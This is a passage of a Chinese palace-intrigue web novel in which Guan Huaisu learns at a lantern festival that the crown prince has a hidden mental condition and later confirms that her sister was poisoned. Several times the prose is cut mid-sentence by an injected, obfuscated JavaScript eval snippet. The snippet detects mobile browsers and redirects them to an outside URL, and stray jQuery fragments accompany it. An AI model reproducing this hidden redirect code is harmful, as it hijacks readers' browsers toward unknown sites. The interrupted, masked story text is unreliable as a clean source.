而后关怀素心中瞬间有了猜测,赵家谋划多**情,许是今日便能玉成了。 果然那吴公公惶恐地不敢受礼,然后才说:“请三姑娘接旨吧。” 赵白芷面朝皇宫跪下,吴公公站在一侧,打开明黄圣旨。 整个八珍楼里所有人都乌压压地跪下,耳边就听到圣上说赵白芷“德才兼备,宗室佳媛,诞钟粹美,含章秀出。” 一通长长的夸赞之后,最后说册封赵白芷为太子良娣,三月后与太子完婚。 赵白芷接旨后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关怀素心中都想得明白,可是看到赵白芷维持着笑容,捏着帕子一人落寞地坐在那里……她走在人群后面,走到一半,到底不忍心,心一横转头,笑意盈盈地走过去招呼赵白芷:“白芷妹妹,走,我们一起去看花灯嘛!” 赵白芷眼前一亮。 “婉玉你们自己去吧,我今儿头晕,叫白芷在身边陪陪我。”赵夫人却笑眯眯地开口。 “哎呀,这里这么多人看着,没事的。”关怀素明白赵夫人的意思,可是她假装什么都不懂的样子,死皮赖脸地笑着上前拉赵白芷的手,连番祈求,“我们就在楼下的街上走走,绝对不去别的地方,我保证一直拉着白芷妹妹的手,夫人就放我们下去一起玩玩罢——我方才就看上了对面楼下那琉璃花灯王,可我实在不会猜灯谜,只能厚颜借白芷妹妹帮忙了!” 她这番话说得可怜兮兮,又十分逗趣,让大家都笑出声来。 连赵夫人都被逗笑,看了一下女儿,到底也是心疼她,知道她日后出门子之后,身份改变,只怕再也不会有和小姐妹一起看花灯的闲散快活日子,便掩口一笑,对关怀素说:“行了行了,别在我跟前装这可怜样子……去吧,二郎,你好好跟着照顾你妹妹和婉玉。” 最后一句,却是对着旁边的赵二郎说的。 赵二郎立刻点头,笑着跟上,一直等着赵二郎的婉淑也自然地跟了上来,三人走到楼梯口,就看到没见到赵二郎于是折返回来寻找的婉蓉。 于是一行就变成了五人,也不去追前面离开的人,自在地走出了八珍楼,开始逛起了灯会。 便是这个灯会,逛出来了麻烦。 第七十七章 上元灯会(下) 刚下去的时候还好,大家伙都开开心心地聊着天,赵白芷与关怀素亲**手拉手逛着灯会。 逛了几个灯谜摊子,没一会儿每个人手里都拿到了一盏花灯,大家欢喜地走到一半,却突然遇到一群戴着面具的华服儿郎嬉笑着窜街而过! 这群小郎君衣着华贵,后面还追着无数下人,瞧着就知道是贵人,于是街市上众人纷纷走避,一下子竟挤挤攘攘,让人头昏脑胀。 等到关怀素被挤出人群,才发现竟只剩下了自己与柳叶二人。 “姑娘,白芷姑娘似乎是被人往对面挤过去了。”柳叶扶好关怀素,立刻便指着街对面说。 关怀素立刻便拉着她,二人紧紧搀着对方,一路走出人流,往对面走去。 今儿人实在是比想象中的多太多了,这一路过去几乎人流攒动,还有人戴着面具玩耍,更是增加了寻找人的难度。 关怀素带着柳叶一路走到路的尽头,已经有些心慌的时候,却突然听到了一阵女子的呜呜哭泣声。 关怀素吓了一跳,立刻便往那巷子口走,就是在这个时候,关怀素突然听到了一句:“乐天哥哥,我真的不想……我不想当什么太子良娣!” 这话一出,关怀素一下子脚步一顿,顿时拉住柳叶,不敢上前一步。 “乐天哥哥,你既然这么多年也没有其他心爱之人,难道不能娶了我,就像你今日拉我一把一般,把我救出来吗?”赵白芷痛哭流涕,悲声问。 这声音听着极为凄苦,叫关怀素都心底涌出一股子悲凉来。 她能懂赵白芷的痛苦,太子后宅之中,据说美人众多,不过大婚几年,后宅里伺候的有名分的美人都已经十余人,更别提连名分都没有的丫鬟。 赵白芷入太子府,说得好听是良娣,但是也不过是要一进去就与众多女子分一点宠爱。 而周乐天多年后宅清净,便是伺候的丫鬟都没有,真说起来,就算周乐天不喜欢她,但是能嫁周乐天,绝对也比入太子府好。 可是赵白芷已经如此祈求,周乐天却只沉默不出声,半晌才沉声说:“白芷,此事,非我能插手,你应当懂。” 他声音听着平缓,没有咳喘,看来惊马造成的伤势好歹是好起来了。 虽然早也得了消息,但是此刻听到,哪怕心中惊涛骇浪,还是有一秒钟,关怀素稍微放下心来。 “我懂,我懂你身份尴尬,我懂大家都有自己的考量……可是,可是我是个人!我不是权势控制的木偶,我讨厌太子,我讨厌成什么良娣,凭什么是我!凭什么什么女子都要往太子那儿塞,婉玉姐姐也是,我也是……”赵白芷显然被人流惊吓、又被自己一贯信任喜欢的人救了之后,情绪起伏很大,此刻也是关怀素第一次听到她如此崩溃地哭泣,如此不端庄地控诉。 但是这让关怀素愈发觉得她可怜又真实。 可这些复杂的情绪,在听到姐姐名字的那一刻,全部都变成了震惊。 显然周乐天也是如此,他震惊地问:“你说什么,什么婉玉姐姐也往太子那儿塞?!” “之前婉玉姐姐摔倒在太子爷面前……我当时看到了,福宁郡主身边的妈妈亲眼看着小丫鬟带婉玉姐姐出去的。”赵白芷颤抖着声音,轻声说。 “不可能!郡主怎么可能给太子爷身边塞人!”周乐天说。 “郡主当然不可能,但是郡主自小是跟着哪位长大的,您难道忘了?”赵白芷说完,周乐天立刻诧异地说,“是皇后娘娘,可是她设计一个小官之女做什么?” “乐天哥哥,你也知道殿下七情不开,婉玉姐姐瞧着温吞懦弱,但是她祖父乃是关老先生、先帝恩师,若是真叫殿下看上,身份过得去,未必也不能好好调教,再说了……”赵白芷一开口,却说出了深宫秘辛。 关怀素被震得目瞪口呆,七情不开,说的委婉,但实际上乃是痴儿之症! 一国太子,竟是痴儿!这说出去简直是要引得天下动荡! 正在关怀素震撼之中,却突然听到身后传来一声惊喜的叫唤:“婉玉,你在这里!” 关怀素吓得全身汗**倒竖,心中大喊糟糕! 转身就看到赵二郎额头浸出了汗水,神色惊喜,走过来便连声说:“方才我一回头,看到你们都不见了,真是吓死我了!” 说完又立刻说:“婉玉妹妹可吓着了?都是我不好,早知道便多带几个人护着你们。” 关怀素心乱如麻,想说点什么话,但是一时之间竟不知道说什么,只能勉强笑一下,然后问:“婉淑与婉蓉呢?你可找到她们了?” “找到了,我叫下人把她们先送回八珍楼了。”赵二郎说完,关怀素刚舒了口气,就听他突然笑着压低声音说了一句,“我却非要寻到你,才能放心回去呢。” …… 关怀素一下子愣住,她觉得赵二郎似乎是在暗示什么,但是却又不是十分确定,并且她现在还处于极其震撼之中,压根没心情与赵二郎纠结。 但是赵二郎却不管她的沉默,反而问:“婉玉,你为什么要把我送你的珍珠发冠送回来?” 关怀素心乱如麻,面上艰难地笑着开口说:“那珍珠发冠太过华贵,并不适合我,你可以送给婉蓉或者婉淑,她们一定十分惊喜。” 说完关怀素想示意赵二郎和她先走,却没想到赵二郎却突然说:“婉玉妹妹,你其实是心中有了别的人吧?” 这话说的,关怀素一皱眉,轻声说:“二哥什么意思?” 赵二郎却突然冷笑一声,看着关怀素的鬓发上,那里戴的正是周乐天送的珍珠发冠里的帽钗。 关怀素觉得那莲花冠太奢华,以她的身份,今日如此喧宾夺主并不合适,因此只戴了帽钗作为步摇。 赵二郎却完全想错了,他冷声说:“婉玉妹妹,你今儿戴的这支珍珠步摇,我儿时在公主府里见过,这是驸马爷的东西,能拿出来的人,只有侯爷。” 关怀素不知道他想说什么,只看着他。 赵二郎见她没反应,着急地说:“婉玉,我可是为了你好,这步摇不可能是侯爷给你的,那定然就是跟随在侯爷身边的人得的赏赐,那种人也不过是粗野武夫,怎么配得上你!难道你想日后去边关吃风喝沙?” 看关怀素还是没反应,赵二郎更着急了,扬声说:“再说,这原是一整套的头冠,如今主冠都不在,只送你帽簪充作步摇,对方也没什么诚意,搞不好只是想哄骗耍弄你,到时候人家拍马就走,你日后再想找好人家,只怕就再也不能了!日后你妹妹们都嫁得比你好,你可别后悔!” 关怀素心中担忧自己听到的事情,也差点被赵二郎气得冷笑出声。 她刚想开口让赵二郎不用替自己考虑太多,就听到身后传来一道熟悉的清冷声音,说:“不劳二郎忧心,这套珍珠冠我一起送给了她,只是她不爱出风头,只戴了步摇而已。” 赵二郎倒抽一口凉气,看清来人,连忙躬身行礼:“见过侯爷。” 关怀素觉得今晚这事儿越来越糟糕了,但是她竟也罕见地不知如何是好,太子七情不开是事关天下安危的大事,这发冠谁送的、赵二郎如何揣测,此时此刻都显得都无足轻重了。 她心中一片慌乱,那边赵二郎也不啻于被人扔了一个响雷一般,他本来还在心中恼怒关怀素拒了自己的示好,觉得关怀素再找不到比自己更显贵的人家,自己已算是纡尊降贵,她竟还不知好歹。 可是此刻赵二郎才发现,原来这背后之人居然是自己从未想过的侯爷!前些日子传言周乐天顺手救了惊马的李婉玉,却原来不是顺手吗? 赵二郎心中一时心念电转,一下子想多了,心中大为惶恐,一句话不敢多说,只顾着请罪。 周乐天却顾不得赵二郎,他看关怀素脸色被吓得煞白,知道今儿这个消息太惊人,她定然是吓到了,便温声问:“你可是被挤到了?” 关怀素只能呐呐回答自己还好,赵二郎神色巨变,以为自己撞破二人私情,再不敢留在这里,拱手道辞,一刻也不敢再停留。 关怀素知道,今儿这事只怕赵二郎是要彻底误会了,可是她也无法阻止,也没心情阻止。 “侯爷、白芷妹妹。”关怀素看着黑暗之中慢慢走出来的赵白芷,勉力稳住心神行礼,轻声说,“方才、方才我不是故意的,我……” 她“我”了几次,竟罕见地找不到言语。 “婉玉姐姐,”赵白芷显然也惊到了,她脸色发白,但是神情倒是勉强镇定,只温声说,“你是担心我,所以才来找我吗?” 竟是仿佛一切都没发生过一样。 这气度,关怀素心中暗自拜服,点头小心应是。 “那咱们一起回去吧,有劳侯爷帮我们带路了。”赵白芷仪态端方地笑着招呼,上前亲亲热**拉着关怀素的手,说,“得亏姐姐来了,我与侯爷都与下人挤散了,方才那一阵真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她想说什么,但是眼圈波光粼粼,最后却只是胸口起伏,最后平静下来,端庄温柔地说了一句:“姐姐,愿你和侯爷都好好的。” 她说完,眷恋不舍地看了一眼周乐天,转身往屋内走去。 她身段窈窕、青春美丽,明明是走入辉煌灿烂的八珍楼。 落在关怀素的眼里,却鼻子发酸,像是瞧着美丽的神妃仙子踏入地狱一般。 赵白芷入门口,一群人都忙着上前嘘寒问暖,丫鬟婆子个个围过来给她裹披风、塞手炉。 “你怎地哭了?”周乐天看关怀素潸然泪下,顿时有些紧张地发问。 关怀素看着赵白芷被人拉进去,像是一个鲜活的生命被拉入黑暗的深渊。 关怀素想起与太子几次见面,想到太子那种奇怪的古板、说话之中那种古怪而微妙的没有情绪起伏、梅园见面时那种微妙的钝感与执拗……她原先并不在意的细节,在此刻拼凑起来,终于得出了一个结论——太子原来不是古怪,是七情不开之症,而且情况并不十分严重,起码在众人有心掩饰之下,在大致场合之中,都看不出问题。 可是无论怎么说,再怎么不严重,七情不开之人,就是半傻子! 赵白芷是个那么好的姑娘,她高雅温柔、体贴端庄,她自小被教导得极好,琴棋书画都十分不错,管家理事也处处精通……她这样好的姑娘,却要被迫嫁给一个七情不开的傻子。 这样如花一般的年纪,培养的这么好的高门贵女,却要给一个傻子做小。 哪怕那个傻子是太子,天下哪个女儿家又愿意过这样的日子?! 关怀素第一次情绪有些崩溃,她擦了擦脸上的泪水,含着哭腔祈求地看着周乐天问:“侯爷,赵妹妹就非得进那个太子府吗?你真不能娶了她,救她一救吗?” 关怀素是发自内心地不想看到赵白芷这样好的姑娘被生生糟践了。 她是真的太难过了。 她知道这很难,知道这里面掺杂太多太多复杂的因素,可是她真的……忍不住。 周乐天看着她流泪,心中百感交集。 他发现随着关怀素流泪,自己的心脏都似乎被人攥着,紧紧地攥着,紧缩到了极限,甚至绞痛起来。 为了她停止流泪,这一刻他愿意做任何事情。 可偏偏,偏偏她却提出的是让自己娶别人。 周乐天在这一刻,终于懂了自己之前为何想送她发冠,为何想见她。 他好像,好像有了钟情的姑娘。 可惜这姑娘在哭着求他娶别人。 周乐天心中悸动,看着她的泪水,一时胸痛,他勉力轻声问:“你真的想让我娶白芷?” 关怀素还没回答,就看到周乐天扶住心口,脸色惨白,她意识到不好,瞪大眼睛,就看到周乐天猛地闭上眼睛,整个人栽倒在她身上。 “侯爷——”身后的来福顿时发出凄声大叫! 第七十八章 交心 关怀素感觉到周乐天被人抱开,她想抓住周乐天的袖子,却只来得及接住周乐天手上滑下来的手炉子。 周乐天很快被人簇拥着进了八珍楼歇息,据说过了许久才醒转,整个人说不出话。 众人不敢打扰,纷纷提前告辞离开。 关怀素也只能跟着李家人忧心忡忡地回家,夜里看着那手炉子,心中觉得莫名焦躁,却又不知所以。 她在自己院子里忧思不得其解,两个院子里,各自也在说起今日的事情。 西院里婉蓉绞着帕子妒忌地说:“出身高贵就是好,她竟是封了太子良娣,日后可不得了了。” 崔小娘白了她一眼,说:“想什么呢!她是太子良娣也是二郎的亲妹妹,若是成了她的妯娌,那可是从此与天家搭上关系,这么好的事情,你不想着好好抓住二郎的心,还在这里吃小姑子的醋,我怎地有你这么个蠢货女儿!” 一番话说的婉蓉登时清醒过来,脸上不好意思,赌气说:“小娘怎知道我没有好好努力,二哥哥还答应我过几日带我去城外踏青呢!” “你说他上回跟你闹别扭,这是好了?”崔小娘问。 “好了。”婉蓉闻言笑了,得意地对崔小娘说,“小娘你教导的是,我前几日对二哥哥撒了个娇,又说我当日还以为他也会去才特地打扮,二哥哥果然不生气了!” 崔小娘登时也得意万分,说:“我说的是吧?男人就是要哄着,哄一哄便回来了。你可千万别学那些跟人置气的,那都是脑子不清楚的。” 婉蓉也觉得小娘教导的极是,愈发仔细听教。 那头大娘子也在与婉淑说话,说的也是赵白芷赐婚的事儿,她有些紧张,对婉淑说:“此事再耽误不得了,赵家水涨船高,再不定下婚事,我怕要有变数。” 婉淑今儿憋了一晚上,听母亲如此说,立刻哭了出来,对孙大娘子说:“阿娘,我瞧着二哥哥似乎真是瞧上大姐姐了,今儿在大街上,我和二姐姐被人群挤散,二哥哥找到我们,听说大姐姐也不见了,急的让小厮送我们,自己匆匆去找大姐姐了,我竟从未见过二哥哥如此着急,哇……” 说着说着,婉淑登时趴在桌上大哭起来。 孙大娘子一听,也是一惊。 她对外头的局势看不懂,但是她今儿出去,交好的夫人们也说到了一件事,说是程娘子今年被请入了宫宴之中,坐在命妇之内。 如此说起来,只怕是那边要水涨船高,赵家定是得了信,才会如此。 “不怕,娘这几日再想办法,没了马公子,还找不到别人么?这事儿不会出问题!”孙大娘子咬牙,心中暗恨,对婉淑说,“还不是哭的时候,你急什么?” 婉淑一听,就像是找到了主心骨一般,连忙泪眼婆娑地抓着阿娘,得了无数次保证,终于才勉强放下心来。 上元一过,圣人开笔,日子又要照常过。 关怀素她们也继续开始念书。 只是这次见面,婉蓉婉淑见到赵白芷都更加客气,蹲身的时候都更加矮了三分。 赵白芷神色如常,圆脸带笑,只端庄喊起,竟也有了一丝若即若离的上位者庄严。 关怀素看她这样子,似乎与平素已经有些微微不同,一时犹豫一下,也跟着打算蹲深一些,却没想到赵白芷见到她眼前一亮,立刻便比刚才亲热许多,连忙拉着她起身,说:“昨儿风大,姐姐没着凉吧?” “并未。”关怀素摇摇头,见她情状一如往昔,便也笑着放松下来,说,“我父亲原怕冲撞妹妹,差点让我们免了过来,多亏妹妹惦念咱们同窗之乐,才叫我们不至于学到一半便没了去处。” “是啊,多亏姐姐,不然我们只怕日后也找不到刘嬷嬷这般好的老师,能学到这么重要的东西呢!”婉淑也跟在旁边凑趣地说。 便是一贯掐尖的婉蓉也知道这个机会有多重要,也跟着过来附和。 赵白芷笑着也回话,说着话,方才微微的生疏立刻便被冲散,等到刘嬷嬷进来的时候,四人已经说笑得很是热闹了。 见刘嬷嬷进门,四人齐齐站起来给嬷嬷问安。 “年前学了焚香与赏画,如今我们则开始学习茶道。”刘嬷嬷进门之后也不废话,很快让小丫鬟端了新鲜的各种茶具上来。 关怀素看着眼前的茶具,从藏茶的茶笼、盒、瓶等等用具,到碾磨茶叶的茶杵、棕帚、罗筛等等用具,全都摆了一桌,应有尽有。 “茶之一道,是饮,亦是礼仪。”刘嬷嬷沉声说,“茶,为君子之饮,君子必知茶。先贤曾云,不知茶者,礼仪少矣。而女子为妇,招待宾客,茶之一道,不可不知。” 刘嬷嬷如此说完,关怀素四人站起身领训,这就开始了开年后的第一课。 茶道不只是要学习如何品茶、煮茶,如何分辨不同的饮水和茶叶组合出的芬芳,更重要的是作为主人家,如何优雅地在席上制茶,招待身份尊贵的客人。 这风气乃是前朝就有的,祖父也曾教导过关怀素。 但是关怀素自己对喝茶并不十分上心,因此说起来,这确实是她学得最差的一门功课。 尤其是刘嬷嬷所教导的乃是宫廷礼仪,于茶道一脉更是要求严谨,关怀素自来赵家学习以来,第一次感觉到有些艰难之感。 好在她性子沉得住气,心中虽不耐烦,但是也能勉力跟上,起码不显得太过拖后腿。 上课倒是没发生什么,但是下课的时候,关怀素却被赵白芷叫住了。 赵白芷说自己有些事情想叫婉玉姐姐帮忙,婉蓉与婉淑虽十分好奇,但是未来太子良娣不召唤,也不敢如以前做小姐妹时候那般歪缠,便只能先行回家去了。 留下关怀素与赵白芷去了她院子里,有些好奇地问她有何事。 “姐姐可曾怨我?当初我明明发现你被带出去有异,却没有站出来给你作证。”赵白芷挥退左右,直问关怀素。 “这有什么好怨的?”关怀素愣了一下,微微黯然,轻声说,“谁能知道我……我这么个人微言轻的人,竟也有人看得上?” “姐姐,若是以前,这些话我肯定不会说。”赵白芷想了想,却突然认真地说,“但是这小半年看下来,我却是知道姐姐心里是有成算的。有些话,我便跟姐姐直接说了。” “我疑心福宁郡主可能发现了,当日是奶妈妈带着你去找太子……她、她性子有些骄横,发生此事,她只怕不只是要迁怒奶妈妈,便连姐姐也会成为她的眼中钉。”赵白芷尽量用委婉的语气说完,才轻声说,“我想提醒姐姐,此后若是还有机会见到郡主,一定要小心。” 关怀素听完赵白芷的话,脑海中突然出现福宁郡主之前在公主小宴上针对她、并带着一群人抓到她和周乐天独处一室的那一幕。 到了此时此刻,关怀素脑中灵光一闪,无数细节凑在一起——她终于想清楚了姐姐和自己连番遭遇到底是为何! 姐姐是被人盯上,想塞去太子身边,而等自己回来,瞧着几次设计没有用,也不知幕后人是否放弃,但是福宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282039|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郡主识破此事,她心悦太子,肯定不愿意太子后宅再多进人。 但是福宁郡主不好和皇后闹,于是她想到的办法,就是把“李婉玉”塞到平安侯后宅。 难怪如此奇怪,一会儿又是遇到太子,一会儿却被设计与周乐天关在一个屋子,却原来这根本就是两拨人! 关怀素恍然大悟,心中对提醒自己的赵白芷十分感激,立刻想到一件事情,便说:“多谢白芷妹妹,你与我说的是掏心窝子的话,姐姐谢谢你。” 然后她又再压低声音,细声问:“如今妹妹定了亲事,这三个月若是遇到郡主……可有事?” 赵白芷苦笑一下,反手拍拍关怀素的手,温声苦笑说:“也不过听些挖苦,无事的。” “她若是喜欢,自去请圣旨就是,何苦如此。反正据说陛下与娘娘都对她视若己出,十分宠爱。”关怀素也是不解,轻声说,“与咱们这些没法儿做主的人发气又有什么用?” 赵白芷犹豫一下,看了看四周无人,才轻声说:“好叫姐姐知道,郡主的心思谁都知道,可太子虽……但是性情执拗,当日说得清楚,只把郡主当妹妹,决计不许她进自己后宅,大家都知道此事成不了,可偏郡主心里不乐意……” 关怀素顿时就明白了,太子再七情不开,那也是太子,他不乐意,也轮不到福宁郡主做主。 这些事情,关怀素瞬间也想清楚了,便叹了口气,不再说了。 她们想得再清楚也没用,只要福宁郡主自己想不清楚,就还要折腾不少事儿来。 她叹气,没想到赵白芷也叹气,两人齐齐一声,顿时把自己都逗笑了。 对视一笑,方才的沉闷立刻缓解不少。 于是两人又说了一会儿话,关怀素才起身告辞。 她们俩从头到尾都没聊那天的事情——赵白芷的告白、周乐天出来说给关怀素送了一整套发冠乃至赵二郎的误会。 两人一句都未提起,就像是从未发生过一样。 关怀素离开之后,奶妈妈去安排下午的课,大丫鬟寒鸦在赵白芷耳边轻声说:“姑娘不是想问李大姑娘,侯爷送珍珠冠到底是何事吗?” “……算了。”赵白芷眼圈微红,轻声说,“本就不是我的东西,问那么多作甚?” “可是……”寒鸦还想为她抱不平,赵白芷却抬手制止她继续说下去。 “别说了。”赵白芷看着窗外那棵满是枯皮的桃树,说,“我不是福宁,明知不可能的事情,强求只会显得自己更愚蠢,与其把心力放在做不到的事情上,不如合纵连横,借力打力。” 她还是那副端庄的样子,和和气气的,斯斯文文地轻声说:“既然都要让我进去那不得见人的地方,我总不能真老老实实等着枯守年华、任人欺辱,对吧?” 自家姑娘说话语调软软的、缓缓的,但是寒鸦知道,姑娘真的彻底振作起来了。 姑娘总是对的,总是活得最聪明的那个。 因此她不再说话,只行礼,笑着说:“姑娘说得是。” 关怀素踏着正月里不那么冷的风出门,穿过赵家花园子的时候才发现,门口的老树竟有些已经有了些萌发新芽的样子。 瞧着二月春风一来,就立刻能大地回春、抽出嫩绿枝丫了。 关怀素解开心中一个大谜团,又与赵白芷隐隐放下了一些芥蒂,心情极好,带着微笑走出赵家。 没想到才到家,就见到丁妈妈紧张地迎出来,见面就说:“姑娘,跛三回来了!” 第七十九章 姐姐死因 跛三在酒楼厢房里等着。 关怀素一到,掀开帷帽,就立刻开口阻止跛三见礼,说:“别管这些繁文缛节,快些把你们查到的事情告诉我!” “是,姑娘!”跛三叉手恭敬地说,“我等本来差点与这帮人错身而过,却没想到也是老天开眼,竟是因为姑娘教导的规矩,叫我们发现了那帮人的痕迹!” 却原来,一开始跛三他们去查的时候,一路上没找到任何线索。 这也是正常的,毕竟农人都怕事,哪怕真觉得什么不对,但是等闲也不愿意开口,跛三等人忙了一大圈都是无功而返,差点就要放弃的时候,偏那天去的时候,有户人家家里的谷车坏了。 那时候正是收麦的时候,谷车如果坏了,那便是要耽搁大事,且叫懂行的人修理一次,怎么也要两三钱银子,这对农家来说也是一笔巨大的开支。 刚巧跛三在八仙庄的时候,跟着关怀素学过一段时间,他虽在这种事情上不太擅长,但这简单小毛病倒是学会了。 又想到关怀素耳提面命,说庄户上的人若是东西坏了,便帮着修理一下,不许收钱,这是跟着关氏学手艺的唯一要求。 “当时我本没想那么多,只想着遵循姑娘说的关氏规矩,便帮着修了。”跛三说到这里,便露出庆幸之色,说,“修好后,那边乡亲纷纷来求,我顺手都帮了,老乡与我们亲热,便主动帮我们到处打听……” 老乡们熟门熟路,又是自己人,不会有人瞒着。 于是很快在一家酒楼当小厮回家休息的儿子口里,听说了这帮人的消息。 且那小厮对这帮人印象很深,记得他们在附近只停了一天,但是晚上喝很多好酒,出手也十分阔绰,且还说起“前些日子在八仙庄赚了一大票!”的事儿。 这事儿到此时就对上了。 据那小厮说,那帮人还说“可惜了,这么好挣的钱只能挣一回,若是能多几次,咱们还需做什么工?” 里面就有人说“运气已经不错,干完这一票,也不必做流民了,回老家去置办几亩田地,尽够一世过日子了。” 跛三说到这里,便说:“打探清楚之后,我便停了几日,等到陈管事送来钱财,我们便顺着这条线一路出发,一路跟到了这四人的老家。” 到了地方,跛三故技重施,便帮着修理农具,很快站稳脚跟,并找机会跟几人搭上了关系。 好酒好肉几顿下去,很快与这帮人熟悉了,便打探起他们发财归乡的路子来。 这几人一开始还警惕,但是想着远在千里之外,喝醉之后难免便说漏了嘴。 说漏之后,自然也好打开话匣子了,跛三很快探听出来,这几人果然是接到了一个老妈妈的钱财,让他们卖断肠草给八仙庄的厨娘。 “那老妈妈是什么形貌?”关怀素听到这里,便明白了这里头确实没有巧合,姐姐确实死于**。 若是再早一些得知,关怀素可能会更加惊讶。但是在她自己都差点被害死之后,不得不说,关怀素心中已经有了猜测,此刻只有一种“果然如此”的感觉。 但是心中的愤恨一丝也不少。 她只看着跛三,跛三立刻说:“说是个清瘦的、上年纪的老妈妈,大约五六十的样子,手臂上有一块红色的斑。” “崔小娘身边那姜妈妈手上就有一块小斑,是红色的!”丁妈妈闻言,惊恐地脱口而出! “我心中有数了。”关怀素看跛三风尘仆仆,心中感恩,说,“跛三,多谢你为我奔波,你先回去休憩几日。妈妈,给他拿二百两。” 跛三一愣,立刻说:“姑娘,为您办事是应该的……” “不要拒绝。”关怀素说,“你事情办得漂亮,手下兄弟跟着你风雨里来去,在他乡为我不知吃了多少苦,稍不小心还有性命之忧,这二百两,一半给你,一半你分给他们,好歹也叫你们知道跟着我是有好处的。” 跛三闻言,也不再拒绝,大喜谢恩接过。 与跛三道别,关怀素便也匆匆回家,一路脸色都不好看。 丁妈妈和柳叶见她神色不好,都不敢说话。 直到快到家的时候,关怀素突然开口,冷声说:“柳叶、妈妈,你们说,我若是**,崔小娘有什么好处?” 丁妈妈皱眉,小心地说:“实在是想不到,她一则没有扶养姑娘,钱财沾不到手,二则也没有家里管事儿的权利,怎么瞧着也和她拉不上干系啊!” 柳叶也点头。 关怀素轻声说:“我想来想去,十有**,应是老夫人的意思。” 丁妈妈轻声说:“老夫人难道真就是为了钱财,连亲孙女都能下手?” “人间许多人伦残局,为的不外乎情、色、钱。”关怀素倒是看得很开,她轻声说,“既是如此,我倒是想知道,我阿娘当初之死,有没有老夫人的手笔。” 丁妈妈吓得浑身一激灵,她瞪大眼睛说:“关娘子、关娘子当初是死在八仙庄的,周围都是亲信……” 关怀素轻声说:“妈妈,我只信证据。” 她要想一想,如何才能找到突破口,查到阿娘当年之死到底有没有什么猫腻。 姐姐那句“我查到了阿娘之死……”一直在关怀素脑海之中回荡,一直不肯消停。 一开始关怀素只顾着查姐姐的死因,如今水落石出,居然真的可能是老夫人手笔,那么姐姐当初临终之前那句话,就绝非空穴来风。 这里头,当年一定发生过什么事情。 而姐姐又是怎么知道的呢? 当年之事,已经太久太久,十五年过去,如今再想查当年之事,已经十分艰难。 哪怕关怀素想了一天,也没想到头绪。 但是,崔小娘是对姐姐下手的人,这一点是确信的。 “妈妈,崔小娘平素是不是一直周济家里?”关怀素问丁妈妈。 “是,据说一家子都靠着崔小娘养着,全部都在崔小娘那庄子上。”丁妈妈立刻回答。 “既是如此,过几日你叫陈渠把庄子上安顿好来见我,我要让他办件事情。”关怀素冷笑着说。 “不叫跛三?”丁妈妈不解地问。 “这事儿要个机灵的,非得陈渠来不可。”关怀素摇摇头,说,“就叫陈渠来。” 丁妈妈立刻答应了。 关怀素这边安顿着,那边王妈妈等了一天,终于等到了关怀素回来。 “大姑娘,上回我家宝丫,多亏大姑娘救命,老婆子这回来,就是想报答姑娘的恩情!”王妈妈一进门,便立刻行了个大礼,跪下郑重地说。 “妈妈无需多礼。”关怀素立刻上前扶起王妈妈,说,“宝丫是个机灵姑娘,听说丁妈妈给介绍了八仙庄那边的老实后生,开春就要成婚了?” 说到唯一的女儿,王妈妈神色一下子柔和下来,笑着说:“是,我也去看了,是个好孩子,家里也淳朴。我在京师没有门路,还是多谢丁妈妈,才找到了这么好的亲家。” “哎呀,以后都是亲戚了,那孩子我看着长大的,和我也连着亲,日后有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284467|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我保管帮着宝丫讲话,你只管放心!”丁妈妈笑呵呵地说着,叫王妈妈愈发欢喜。 她神色严肃下来,认真对关怀素说:“姑娘帮了我这么大的忙,便是老婆子的大恩人,老婆子答应报答姑娘,不是瞎说白话,这些日子,老婆子没闲着,这回过来,便是想跟姑娘说两件事情。” “妈妈请讲。”关怀素立刻拉着她坐下细说。 “第一件事情,是我那天听到了一句话,老夫人说,‘贱婢之女,凭什么活得那么好?为什么不**,为何不**?’”王妈妈把那天在窗户外听到的事情说了,又说,“我只是听到这里,没头没尾,只想着姑娘许用得上。” 王妈妈说到这里,关怀素立刻点头,温声说:“多谢妈妈,我会好好记下来。” 王妈妈看她居然不惊也不怒,心中愈发高看这个大姑娘几分,原本只是为了报恩,现在却愈发觉得大姑娘是个扛得住事儿的,心中愈发稳下来,压低声音说:“第二个事儿,老夫人有意想把青黛留着给家里爷们,孔妈妈心中不愿意,这些日子总找我吃酒诉苦,我来是想问问,此事……大姑娘可用得上?” 关怀素眼前一亮,立刻问:“孔妈妈,是从肇州就跟着老夫人的老妈妈了吧?” 王妈妈立刻点头,看周围一眼,压低声音对关怀素轻声说:“是,孔妈妈是老夫人的陪嫁,伺候老夫人三十几年的老人。” “她这样的身份,便求一下老夫人给青黛一个恩典不就是了?”丁妈妈不解地说,“何苦还吃酒难受?” 